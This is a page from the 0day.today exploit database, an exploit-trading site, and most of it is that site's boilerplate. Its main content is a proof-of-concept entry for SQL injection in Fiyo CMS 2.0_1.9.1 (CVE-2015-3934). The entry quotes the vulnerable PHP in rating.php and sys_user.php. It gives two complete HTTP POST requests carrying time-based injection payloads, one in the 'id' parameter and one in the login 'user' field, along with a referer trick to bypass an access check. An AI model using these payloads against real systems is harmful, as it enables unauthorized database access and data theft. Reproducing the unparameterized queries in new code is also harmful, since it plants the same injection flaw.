0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Fiyo CMS 2.0_1.9.1 - SQL Injection Vulnerability
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: Fiyo CMS multiple SQL vulnerability # Date: 2015-06-28 # Exploit Author: cfreer (poc-lab) # Vendor Homepage: http://www.fiyo.org/ # Software Link: http://tcpdiag.dl.sourceforge.net/project/fiyo-cms/Fiyo%202.0/fiyo_cms_2.0.2.zip # Version: 2.0_1.9.1 # Tested on: Apache/2.4.7 (Win32) # CVE : CVE-2015-3934 1、 The vulnerable file is /apps/app_article/controller/rating.php, because the rating.php includes jscore.php, so we must add referer in HTTP Data Stream to bypass the limits of authority.when the 'do' equal 'rate' the vulnerable is same too. require('../../../system/jscore.php'); if(!isset($_POST['id'])) header('../../../'); else { $id = $_POST['id']; $db = new FQuery(); $db->connect(); $qrs = $db->select(FDBPrefix.'article','*',"id=$id"); $qrs = $qrs[0]; POC: HTTP Data Stream POST //fiyocms/apps/app_article/controller/rating.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost:80/fiyocms/ Cookie: ECS[visit_times]=4; iAv6_2132_saltkey=JLrHe7OQ; PHPSESSID=nl1e3jdfd8i7flnhffp37ro2s3 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 48 do=getrate&id=182;select sleep(5) -- ===================================================================================================================================== 2、 POC: POST /fiyocms/user/login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: ECS[visit_times]=4; iAv6_2132_saltkey=JLrHe7OQ; PHPSESSID=4gl29hsns650jqj5toakt044h0 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 71 user='%2B(select(0)from(select(sleep(5)))v)%2B'&pass=poc-lab&login=Login The vulnerable file is \apps\app_user\sys_user.php if(isset($_POST['login'])) { $_POST['user'] = strip_tags($_POST['user']); $qr = $db->select(FDBPrefix."user","*","status=1 AND user='$_POST[user]' AND password='".MD5($_POST['pass'])."'"); The parameter of user is vulnerable. strip_tags doesn't work, Still can be bypass. # 0day.today [2024-12-25] #